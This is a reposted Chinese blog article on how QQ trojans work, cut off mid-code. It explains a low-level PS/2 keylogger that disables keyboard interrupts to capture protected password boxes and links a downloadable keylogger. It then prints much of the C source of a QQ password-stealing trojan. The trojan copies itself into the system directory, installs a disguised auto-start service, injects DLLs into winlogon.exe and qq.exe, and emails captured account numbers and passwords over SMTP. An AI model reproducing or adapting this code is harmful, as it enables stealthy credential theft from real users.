研究分析QQ木马的原理

来源:互联网 发布:淘宝店买卖平台 编辑:程序博客网 时间:2024/04/30 09:18

最近想研究一下木马原理及键盘记录。

键盘记录的网上有很多源代码。

但是普通的键盘记录勾子好像对QQ 的登录框好像没有任何的作用。

QQ 的登录框对windows的键盘中断加密了。

加密原理参照:http://topic.csdn.net/u/20090504/16/0833b3df-6572-4232-9b74-9e5cf6a022d6.html

信息监控与隐私保护永远是一对矛盾,在对付各种信息窃取软件上,新技术总是层出不穷。本文介绍一种古老的键盘记录器技术,确实很古老,DOS时代人们就在用了,但是现在它仍然很有效,在键盘过滤驱动失效的情况下,它仍然可用。但是兼容性不佳是它的一个问题,特别是在Windows Vista操作系统上,我不能保证它是可用的。不过在可用的情况下,它能记录我所找到的各种带保护的密码框,包括QQ2008的密码框。
  在此之前你还可以看看我以前的一篇帖子,上面介绍了一些Windows键盘响应机制的内容,地址是:http://topic.csdn.net/t/20061224/14/5252514.html  
  现在的计算机键盘除了传统的PS/2键盘之外还有USB键盘,本文只介绍普通的PS/2键盘,因此本文的示例代码也只支持PS/2键盘,对USB键盘无效。我们知道计算机要得到键盘的信息,必须与键盘进行通信。计算机与外设的通信都是依靠I/O操作完成的,键盘也不列外,当键盘上一个键被按下后,键盘就需要发送一个信息到主机。主机怎么知道键盘什么时候发送了信息呢?有两种方式:轮询和中断。轮询就是说主机不停的询问键盘是否有新的信息,这是以前I/O操作最传统的方式。中断则是一种比较先进的方式,不是由主机来不停的询问键盘,而是由键盘主动告诉主机:有新的信息来了,这样主机就会执行一段中断处理程序,来处理键盘的数据。好了,那么Windows是用哪种方式处理键盘的呢?当然肯定是以中断方式的,因为这样主机不必不断轮询设备,大大提高了效率。事实上Windows中有一个键盘中断处理程序,一旦键盘中断产生后,该程序就会被执行,然后将处理后的数据提供给更高层次的程序使用。键盘中断处理程序是Ring0下的一段代码,在它之上还有更高层的键盘驱动程序,和其它更抽象的硬件管理类驱动程序,再往上走,到了Ring3层,也就是用户层,会首先由user32.dll处理,这样硬件事件会被编码为windows消息,这些消息再发给相应的应用程序。了解了这样一个层次关系后,你就可以很容易判断出一个键盘记录器处于哪一个层次,也就能知道它到底能多大程度上准确记录键盘操作而不被欺骗。这样看来,键盘记录器当然是越底层越好,可惜的是,越底层做起来也越难,当然是废话 ^_^ 现在我们知道Windows是靠键盘中断来处理输入的,也就是说,所有在Windows上运行的程序要感知到键盘输入,都是靠着那个中断,除非...
  其实键盘中断是可以关掉的 ^_^ 如果关掉了的话,当键盘有键被按下,键盘仍然会将数据送到主机,但是中断不会被触发,也就是说,键盘中断处理程序不会执行,那么也就没人理会键盘了。所以尽管键盘仍然很尽责的传输按键数据,但是Windows说:谁理你啊...
  我理,我理~! 该我们的代码上场了,前面说过了,除了中断,还可以用古老的轮询方式来获取键盘数据,所以,此时虽然中断被关掉,我们仍然可以轮询键盘的按键,这样我们就知道哪些键被按下了。而且很棒的是,因为此时中断已被关掉,你再也不用担心键盘中断处理程序会跟你抢数据,一个也不会漏掉~(当然,实际操作的时候也不能一直在那里轮询,不然CPU占用会暴走到100%的)!但是有个问题可能你已经注意到了,虽然我们的程序可以轮询键盘获得输入,但是其它的程序不行啊,它们依然眼巴巴的盼着Windows送来消息,所以结果是,虽然我们自己的程序现在可以感知键盘了,但是Windows的其它程序(包括内核里依赖键盘中断的其它驱动程序)都感知不到键盘,看上去好像键盘被我们的程序独占了一样 - - 天啦,这叫什么键盘记录器,太烂了...   
  额,等等,刚才你说什么来的? “看上去好像键盘被我们的程序独占了一样”?让我想一想,哈哈,这东东好像有不错的用处~~~ 看,安全密码框!有效防御键盘记录器!“国际先进”技术~ (就像QQ的键盘加密保护吹的那样- -) 让我试一下它的强度怎样吧,GetKeyState--无效(有效才怪);全局键盘钩子(消息钩子)--无效;DirectX--无效;键盘过滤驱动--无效;站在你背后偷窥-- 汗-_-| 哈哈,还不错吧,为什么键盘过滤驱动也会无效呢(那可是驱动级的记录器),因为过滤驱动位于键盘中断处理程序的上层,既然中断都关掉了,我想它也没什么好“过滤”了的吧。你会问,好吧,这个密码框还算安全,但是如果此时系统中有个记录器也是依靠轮询键盘来工作的呢,那不就都记下来啦。嗯嗯,这是一个问题,我们来解决它。怎么做呢,好办,当我们在轮询中取走键盘数据后,将键盘控制器的缓冲区清空,这样别的记录器就轮询不到啦,哈哈。
  (在一边看了N久的)键盘记录器制作者说话了:别高兴地太早了,要知道键盘还支持一个指令&HFE(键盘指令),该指令可以让键盘重新发送上一次的数据给主机,本来是用于接收中出现错误时重传数据的。但我也可以利用该指令在你清空缓冲区后让键盘重传数据,这样你的保护就失效啦 (我得意的笑,我得意的笑~)
  安全密码框制作者:难不倒我,键盘控制器还支持一条环回指令&HD2(控制器指令),该指令可以直接将发送给键盘的数据回传到输入缓冲器(意思就是说,可以将输出缓冲器的数据“复制”到输入缓冲器。再简单点就是可以发送一个数据到控制器,然后控制器将这个数据模拟成是从键盘发出的。网上那么多通过IO操作来模拟键盘按键的方法,其实就是利用了这条指令:通过该指令可以将一个数据模拟成是从键盘发出的,也就是模拟按键啦。鼠标也支持一条环回指令&HD3,可以模拟鼠标操作),我在取走键盘端口的数据后,再用&HD2指令回传一条值为0的数据,这样键盘“上一次”发送给主机的数据也就变成了0,再使用&HFE重发数据也没用啦... (记录器大叫一声,昏倒在地,良久不醒...)
  到这里,下面将要给出的示例代码之一的“安全密码框”的原理也就基本上明了了。先关闭键盘中断,然后采用轮询的办法获得键盘输入,在每一次轮询中一旦取走了键盘数据立刻向键盘控制器发送&HD2指令清除上一次的按键信息,这样就可以有效防止别的记录器也采用轮询的办法来记录键盘。同时,由于关闭了键盘中断,Windows中所的程序都无法感知到键盘输入,无论全局HOOK还是别的什么,统统失效。所以,这个密码框的保护强度还是很不错的。从键盘的角度说,QQ的键盘加密保护也是采用了类似的方法,不过又稍有不同。QQ的键盘加密技术并没有关闭键盘中断来轮询,而是采用了另一个办法:替换掉系统默认的键盘中断处理程序,换成了QQ自己的键盘中断处理,这个QQ的中断程序并不会把键盘消息发送给Windows的上层服务,而是私自处理了这些消息,将用户的键盘输入加密,然后将密文直接传递给了QQ,因此任何位于上层的键盘记录器都记录不了QQ的密码输入啦。QQ2008早期版本的键盘加密驱动在取走键盘端口的数据后,同样会有一个清空键盘输入缓冲区的操作,让别的程序即使轮询也轮询不了。但是那个版本的兼容性却不太好,特别是导致使用USB键盘的用户经常蓝屏,腾讯后来改进了保护方式。在QQ2008的后期版本中,键盘加密的稳定性提高了,但是保护强度却降低了,并且也没有了清空输入缓冲区的动作,而是改用另一个思路:通过不断注入垃圾字符来对抗键盘记录器。但是这样的话使用普通轮询的方法也可以截获到用户的输入了,这也许是腾讯在保护强度和稳定性之间做出的一个折中。好啦,还有个问题,你用上述原理做了个安全密码框,在密码框中倒是可以输入了,但是你关了程序以后,发现键盘失效啦,Windows所有程序都对键盘一点反应也没有 - - 哈哈,刚才说啦,键盘中断不是被关闭了吗,Windows靠中断来感知键盘,既然关掉了,当然键盘就不灵了,所以密码框在实际制作的时候应该这样:当密码框获得输入焦点的时候才关闭键盘中断,当密码框失去焦点时应该立刻重新打开键盘中断,当窗体失去焦点时也应该开中断,当登录完成或程序结束时都要打开中断,不然别的程序就不能感知键盘了。另外,轮询键盘端口得到的数据都是键盘扫描码,你还需要转换成虚拟键码和对应的ASCII字符才行的。
  说完了安全密码框,现在也来说说利用这个原理怎么制作键盘记录器,好在事物都是两面的。我的思路是这样:可以简单轮询,就是设置一个定时器,每30毫秒读取一次键盘数据端口,就可以知道有没有键被按下了。这个方法对大多数程序有效,对现在版本的QQ2008也有效(上面说过现在它的保护强度降低了嘛)。但是对于早期版本的QQ2008是无效的,因为那时的QQ键盘加密有个动作,就是取完了数据后会将键盘端口清零。而且键盘中断的反应速度永远比用轮询的方法快(原因很明显,中断是由设备通知的,总是在“第一时间”被激活,而轮询则不是),所以轮询到的数据永远是被QQ清空后的零。而且简单轮询还有个缺点,你需要自己来通过别的寄存器状态识别轮询到的是键盘数据还是鼠标数据。因为,你大概已经知道,在PS/2设备中,键盘控制器和鼠标控制器是共用的,而且它们的输入缓冲区也是共用的,也就是说,键盘数据和鼠标数据是会混合在一起的,如果你只是简单轮询&H60端口的话,你就需要靠别的办法来区分键盘和鼠标数据了(在示例代码中,你将可以看到如何进行简单轮询)。现在我们使用一种改进的办法来轮询,它可以解决上述问题,并对早期版本的QQ2008也有效。思路是:首先关闭键盘中断,这时候QQ密码框也不会获得任何输入了,然后用轮询的方法判断键盘有没有输入。因为此时中断已被关掉,再也不会有谁跟我们抢数据了,所以获得的键盘输入总是“第一手的”。在本文的开头已经介绍了这个思路。下面的问题是,轮询完毕后,怎样让QQ也能获得输入(注意此时键盘中断已被关闭)?解决方法是打开中断,然后利用上面的&HFE指令或者&HD2指令。我们可以在每次轮询结束后,如果发现有按键消息,则打开键盘中断,然后用&HFE指令让键盘重发上一次的数据,或者用&HD2指令将我们轮询到的数据塞回输入缓冲区。注意实际测试时发现&HFE指令似乎不能再次激发键盘中断,所以我用&HD2来将我们取走的数据重新塞回去,这个操作可以同时激发一次键盘中断,由于此时中断已经打开,中断处理程序被激活,会取走我们塞回去的数据,这样QQ或者其他任何程序都能接收到键盘输入了。注意中断处理程序取走的可是我们塞回去的数据哦,实际上我们想塞进去几都可以,比如我轮询到的是A键被按下,但是我完全可以欺骗系统是B键被按下。所以,这个思路还有另一个用途,修改实际按键,而且该修改是很底层的,足以欺骗键盘中断处理程序和任何位于它上层的程序。好了,现在中断处理程序已经处理完毕,系统已经收到了按键消息(如果是QQ密码框,那么这个密码框也收到了按键),注意它们都是在我们的程序之后(并且经过我们程序的同意)才收到这一消息的,因此可以认为,键盘已经被我们的程序从较底层给HOOK了,接下来,再次关闭键盘中断,然后等待下一次轮询。可以看到,在中断关闭期间其它程序都得不到键盘消息,而中断打开时我们的程序已经处理完键盘数据,所以可以保证我们的程序总在“最前面”得到按键信息。你可以设置一个定时器,然后轮训间隔为30毫秒左右,时间不能太长,否则键盘记录器反应很慢,也不能太短,否则太占系统资源。你要问了,按照这个思路的话,每一秒钟键盘中断都要打开关闭好多次,对性能有影响吗?答案是肯定的,这个记录器确实会在一定程度上降低键盘的反应速度,不过它的性能比我预想的要好得多,实际测试时,对性能并没有太大影响,甚至不太感到它的存在 ^_^  
  最后,还有一些重要的东西没说到呢。比如怎样轮询键盘,这样关闭键盘中断?在这里我试图尝试一种只需要通过I/O操作就能完成上述任务的方法。轮询键盘,其实就是读取键盘控制器的数据,通过两个I/O端口来完成:&H64(控制端口)和&H60(数据端口)。从&H60端口读取就可以得到键盘(或鼠标)发送来的数据(实际读取的是输入缓冲区),读取该端口还会清零IBF(输入缓冲区满)标志,系统正是根据这个标志来触发键盘中断,读取&H64端口可以知道键盘控制器的状态。写入&H60端口会被写到输出缓冲区,通常是发送给键盘的数据。写入&H64端口则会被理解为向键盘控制器发送命令。命令分两种,键盘控制器命令和键盘命令,键盘控制器命令是操作控制器的,控制器也许需要再操作键盘才能完成此命令,但也可能不需要;键盘命令是直接发送给键盘的。发送控制器命令需要首先将控制字写入&H64端口,如果命令有参数,参数写入&H60端口,发送键盘命令的话,直接将控制字写入&H60端口就可以了,参数紧跟控制字也写入&H60端口。无论哪种命令,如果有什么返回数据的话,都通过&H60端口读取。下面列举一部分控制器命令和键盘命令。
控制器命令:
&HA1:获得版本号。 &HA4:获得密码。 &HA5:设置密码 &HA6:比较密码
&HA7:禁用鼠标 &HA8:启用鼠标 &HAD:禁用键盘 &HAE:启用键盘
&HD2:写键盘缓冲区的环回指令(模拟键盘可以用这个) &HD3:写鼠标缓冲区的环回指令(可以模拟鼠标操作)
键盘命令:
&HFF:复位键盘 &HFE:重新发送上一次的数据给主机 &HED:在此命令之后需要跟随一个参数字节,用于设置键盘上那3个指示灯的状态

  那么现在知道怎样在控制器上直接关掉键盘中断了吧,只需要发送一个命令给控制器就可以了,具体的命令和参数可以参见最下面给出的示例代码。最后还有一个问题没解决:怎样才能直接读写键盘的端口?要知道在Windows中普通的应用程序是无权直接操作端口的,需要有Ring0的权限才行。这个问题的解放方式可以是很多的,我在示例代码中使用了一个开源的组件WinIO,WinIO是一个可以用来直接在应用程序中读取I/O端口和物理内存的组件,它被经常用在工控上操作IO卡什么的。要了解WinIO的详细用法可以在网上搜索此关键词。要注意一个问题是由于WinIO组件经常被用来干坏事,名气又那么大,现在已经是被不少安全类软件打入另册了。所以在实际实践中你不一定非要用它,只要能想办法直接读写端口就可以实现键盘记录了。

  这时昏迷良久的记录器忽然醒了,对密码框大叫:有办法了,我可以HOOK掉你WinIO中的函数GetPortVal,这样就能在你之前截获到键盘输入了!
  密码框:那我换一个其它组件来操作端口你不就失效了。而且这种办法也超出了记录器的讨论范围 - -
  记录器:那我可以下I/O断点,这样就能断掉你的IO操作并抢在你前面截获键盘输入~
  密码框:下断不是不能检测的,如果检测到被断则可以通知用户密码框保护已失效。并且这样做也很复杂,弄不好的话会极大降低系统稳定性,那样用户也能发现。
  记录器:我还可以...
  密码框:......

看来这两个永远是一对冤家了 ^_^
最后的最后,是我的示例代码的地址,它包含两个示例:键盘记录器和安全密码框,都是根据上述原理制成。(如果要在调试模式下运行此代码的话,需要把名称为winio的那几个文件复制到VB的安装目录下才行)你说,要是用你的矛戳你的盾会怎么样呢。哈哈,幸好WinIO永远不赞成这么做 ^_^

源码下载地址: http://www.pen88.com/download/keysafe.rar



而QQ 木马的其他问题有参照http://blog.csdn.net/kvw3000/article/details/69371 

 

如何判断系统
如何操作注册表
如何通过控制自己的进程得到其他进程的内容
如何复制文件
如何插入进程[也叫进程注射,好像这么叫]
如何通过SMTP法送邮件


针对QQ1230及2003版的木马程序源代码,兼容win98,2000,不显示进程。

首先请大家不要骂我,我早已对QQ不感兴趣,不过好久没有听说新的盗QQ号的程序,还是觉得有点奇怪,问了几个人,听说新版的QQ增加了防盗的功能,就来了一点兴趣,花了点时间,写了这么一个偷号的程序,但是只用自己的号测试过,可从来没动过别人的!仅供初学者参考,让高手见笑了。这个程序支持QQ1230可QQ2003版本,系统平台我在Win98,2000和2003上测试都没有问题,其他的系统没有测试过,不知道行不行。
到网上随便找了一点资料,都很旧了,除了用键盘记录的,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容的,这个在98下很好办,不过我不知道什么时候在哪里好像看过在nt平台下是不行的,一个进程向另外一个进程的带有密码属性的窗口发送WM_GETTEXT消息是不能得到其内容的,只有自身进程发送的WM_GETTEXT消息才行。但是这也好办,我们把得到密码的函数作为一个线程插入到QQ进程里面不就行了么!远程线程插入在Shotgun的大作《揭开木马的神秘面纱(四)》和《Windows核心编程》的第22章都有详细的叙述。下面就详细说明一下流程。
首先,判断系统版本,如果就9x,将自己复制到系统目录,如果复制成功,说明自身没有在系统目录运行那么需要启动系统目录下的实例,然后自己退出。再创建一个互斥量,保证只有一个实例存在。接下来,用RegisterServiceProcess函数将自己注册成一个服务程序,这样在9x下按ctrl+alt+del就不会看到了。最后,调用GetQQPass函数,监视QQ登录的情况。如果是NT系统,将自己安装为自动启动的系统服务,服务启动后,任务就是释放两个要插入其他进程的dll,把监视QQ登录窗口的dll插入到winlogon.exe进程中,然后就停止,这样就不会在任务管理器里面看到不正常的进程了。插入到winlogon.exe里面的线程负责监视是否有QQ登录,发现后就将GetQQPass函数作为一个线程插入到QQ进程中,当GetQQPass函数捕获到号码和密码时,就向设置好的邮箱发一封信。至于为什么要插入到winlogon.exe进程,只是习惯而已,当然,也可以插入到其他的系统进程里,但是注意一定要插入到系统进程,不能是用户进程。因为只有系统进程里的线程才能在任何用户登录的情况下都有权限做远程线程插入的动作。GetQQPass函数我使用很简单的办法,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容。判断哪个窗口是号码窗口和密码窗口的办法也是最常用的,就是靠它们的style。首先用QQ登录窗口的类名得到QQ的登录窗口的句柄,再通过这个句柄找到号码窗口和密码窗口的句柄。类名和子窗口的style都是用spy++得到的。这里有一个细节,就是“QQ注册向导”窗口里面,选中“使用已有的QQ号码”以后和选中以前的号码与密码窗口的style是不一样的,当然我们要选中以后的style了。发邮件部分也很简陋,现在只在163和sina的测试过,还能用。其中base64编码部分的代码是以前从网上copy的,忘了从哪里看的了,总之感谢这段代码的作者。
现在还有一个非常严重的bug,就是在nt平台上,不能得到非管理员用户的QQ号码和密码,我观察过,明明已经将GetQQPass插入到QQ进程里了,但是就是不能得到密码,郁闷,哪位知道怎么回事,请不吝指教。
下面是源代码:

//这个是包含要用到的函数和结构的说明的头文件
/*---------------------------------------------------------------------
//GQPSvr.h
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
---------------------------------------------------------------------*/
#include <windows.h>
//---------------------------------------------------------------------
//判断系统版本,9x返回1,NT、2000、xp、2003返回2,其它返回0
int GetOsVer(void);

//---------------------------------------------------------------------
//复制自身到系统目录
//pAim:[in,out],初始为存放目标文件名缓冲区的指针,
//函数向缓冲区返回完整路径的目标文件名
//成功返回0,否则返回非0
int CopySelfToSys(char *pAim);

//---------------------------------------------------------------------
//加入注册表自启动项,KeyName为键名,Key&#118alue为键值
void RegStart(const char *KeyName, const char *Key&#118alue);


//---------------------------------------------------------------------
//为当前进程增加指定的特权,Name为特权名,成功返回0,失败返回1
int AddPrivilege(const char *Name);

//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
//成功返回0,失败返回1
int InjectDll(const char *FullName, const DWORD Pid);


/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,链接时需要psapi.lib
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/
DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024]);

//---------------------------------------------------------------------
//通过需要身份验证的smtp服务器发送邮件的函数
typedef struct _SMTPINFO
{
char SmtpSrvName[32];
char Port[7];
char UserName[16];
char Password[16];
char From[32];
char To[32];
char Subject[32];
char Msg[64];

}SMTPINFO;

int SendMail(const SMTPINFO *psmtpinfo);

/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle);

//---------------------------------------------------------------------
//得到QQ密码的函数
DWORD WINAPI GetQQPass(void);
//---------------------------------------------------------------------


//主程序
/*---------------------------------------------------------------------
//GQPSvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include "GQP_Data.h"
#include "Plus_Data.h"
#include <stdio.h>
#include <windows.h>
#include <winsvc.h>
//---------------------------------------------------------------------
//Global constant
//服务显示名称
const char DISPLAYNAME[33] = "Windows Management Service";
//复制到系统的文件名
const char SRVFILENAME[13] = "Winms.exe";
//要插入的进程名
const char DESTPROC[19] = "winlogon.exe";
//互斥量
const char *pchMyMutex = "sjdf ^-^";
//dll文件名
const char *GQP_Dll_Name = "//nt_gqp_dll.dll";
const char *Plus_Dll_Name = "//nt_plus_dll.dll";
//9x下写入注册表自启动项的键名
const char *pchStartName = "GQP";
//---------------------------------------------------------------------
//Glabal variable
const char SERVICENAME[9] = "winms";
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
char achAim[MAX_PATH + 1];
int WillStop = 0;

//---------------------------------------------------------------------
//Function declaration
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
//---------------------------------------------------------------------
//Function definition
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//判断系统版本
int OsVer = GetOsVer();

//如果是9x系统,把自己注册为
//服务程序,用于隐藏自己,并开始监视QQ登录

if (OsVer == 1)
{
//准备复制到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);

//如果复制成功,说明自身没有在系统目录运行
//那么需要启动系统目录下的实例,然后自己退出
if (!CopySelfToSys(achAim))
{
WinExec(achAim, SW_HIDE);
return 1;
}

//确定只有一个实例存在
CreateMutex(NULL, 0, pchMyMutex);

if (GetLastError() == ERROR_ALREADY_EXISTS)
{
return 1;
}

DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);
HMODULE k32 = GetModuleHandle("KERNEL32.DLL");

if(k32)
{
RegisterServiceProcess = GetProcAddress(k32, "RegisterServiceProcess");

if(RegisterServiceProcess)
{
RegisterServiceProcess(0, 1);
}
}

RegStart(pchStartName, achAim);

//调用获取QQ密码的函数
GetQQPass();

}

//如果是win2000系统,将自己注册为自动启动的系统服务,
//服务的任务是启动后把监视QQ登录窗口的dll插入到winlogon.exe
//进程中,然后就停止
if (OsVer == 2)
{

//复制自身到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);
CopySelfToSys(achAim);

//如果参数为“-service”就作为服务启动
if (strstr(lpCmdLine, "-service") != NULL)
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL, NULL}
};

if (!StartServiceCtrlDispatcher( DispatchTable))
{
return 1;
}

return 0;
}

//否则就安装服务
SC_HANDLE newService, scm;
//连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
return 1;
}

//当作为服务启动时加上“-service”参数
lstrcat(achAim," -service");

if ((newService = CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
achAim,
NULL, NULL, NULL, NULL, NULL)))

{
//启动服务
char *pra[] = {" -service", "/0"};

StartService(newService, 1, (const char **)pra);

}

CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;
}

return 0;
}


DWORD MyWorkThread(void)
{
Sleep(3000);

//释放两个dll到系统目录
//释放NT_GQP_DLL.dll

ZeroMemory(achAim, sizeof(achAim));

if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}

lstrcat(achAim, GQP_Dll_Name);

FILE *fp;

if ((fp = fopen(achAim, "wb")) != NULL)
{
//用GQP_Dll_Data1、2、3这么麻烦是因为把dll的数据放到了
//头文件里作为数组形式,不过lcc编译器不支持太多的行,
//所以只好分成三部分了。
fwrite(GQP_Dll_Data1, sizeof(GQP_Dll_Data1), 1, fp);
fwrite(GQP_Dll_Data2, sizeof(GQP_Dll_Data2), 1, fp);
fwrite(GQP_Dll_Data3, sizeof(GQP_Dll_Data3), 1, fp);
fclose(fp);
}

//释放NT_Plus_DLL.dll
ZeroMemory(achAim, sizeof(achAim));

if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}

lstrcat(achAim, Plus_Dll_Name);

if ((fp = fopen(achAim, "wb")) != NULL)
{
fwrite(Plus_DLL_Data1, sizeof(Plus_DLL_Data1), 1, fp);
fwrite(Plus_DLL_Data2, sizeof(Plus_DLL_Data2), 1, fp);
fwrite(Plus_DLL_Data3, sizeof(Plus_DLL_Data3), 1, fp);
fclose(fp);
}

//得到要插入的目标进程的pid
DWORD Pid;

if ((Pid = ProcessToPID(DESTPROC, NULL)) != 0)
{
//要插入的dll文件名在释放文件时已经存在DLL_Path中
//插入目标进程
InjectDll(achAim, Pid);

}

WillStop = 1;
Sleep(3000);
return 0;
}


void MyServiceStart (int argc, char *argv[])
{

MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,
(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
{
return;
}

// Initialization code goes here. Handle error condition
DWORD Threadid;

if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
{
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = GetLastError();
MyServiceStatus.dwServiceSpecificExitCode = GetLastError();

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}

// Initialization complete - report running status.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}

while(WillStop == 0)
{
Sleep(200);
}

MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = GetLastError();
MyServiceStatus.dwServiceSpecificExitCode = GetLastError();

SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
return;
}


void MyServiceCtrlHandler (DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do whatever it takes to pause here.
MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here.
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);

WillStop = 1;
return;

case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;

}

// Send current status.
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
WillStop = 1;
return;
}

return;
}

//插入到系统进程的dll的代码
/*---------------------------------------------------------------------
//NT_Plus_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.9
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------

//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void);
//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst, 
DWORD fdwReason, 
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:

CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)InjectQQ,
0,
0,
NULL);

break;

}

return TRUE;
}
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void)
{
//要插入的dll的全名
const char *GQP_Dll_Name = "//nt_gqp_dll.dll";
char achDllPath[MAX_PATH + 1];
ZeroMemory(achDllPath, sizeof(achDllPath));

if (!GetSystemDirectory(achDllPath, sizeof(achDllPath) - 1))
{
return 1;
}

lstrcat(achDllPath, GQP_Dll_Name);
//查找QQ进程
int i, j;
DWORD OldPid[32];
DWORD NewPid[32];

ZeroMemory(OldPid, 32);

while(1)
{
ZeroMemory(NewPid, 32);
ProcessToPID("qq.exe", NewPid);

for(i = 0; (i < 32) && (NewPid[i] != 0); i++)
{
for(j = 0; (j < 32) && (OldPid[j] != 0); j++)
{
if (NewPid[i] == OldPid[j])
{
break;
}
}

if (NewPid[i] == OldPid[j])
{
continue;
}


InjectDll(achDllPath, NewPid[i]);
}

ZeroMemory(OldPid, 32);
CopyMemory(OldPid, NewPid, 32);
Sleep(500);
}

return 0;
}


//插入到QQ进程的dll的代码
/*---------------------------------------------------------------------
//NT_GQP_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------

//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID pvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:

CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)GetQQPass,
0,
0,
NULL);

break;

}

return TRUE;
}
//---------------------------------------------------------------------


//下面的都是上面用到的函数,声明在头文件里。
/*---------------------------------------------------------------------
//GetQQPass.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
DWORD WINAPI SendPass(char *pchFmtResult);
//---------------------------------------------------------------------
DWORD WINAPI GetQQPass(void)
{
//用spy++得到的QQ的数据
//QQ登录窗口的类名
const char *pchWinClass = "#32770";
//QQ登录窗口的号码窗口样式
const long lNumWindowStyle1 = 0x50002380;
//QQ登录窗口的密码窗口样式
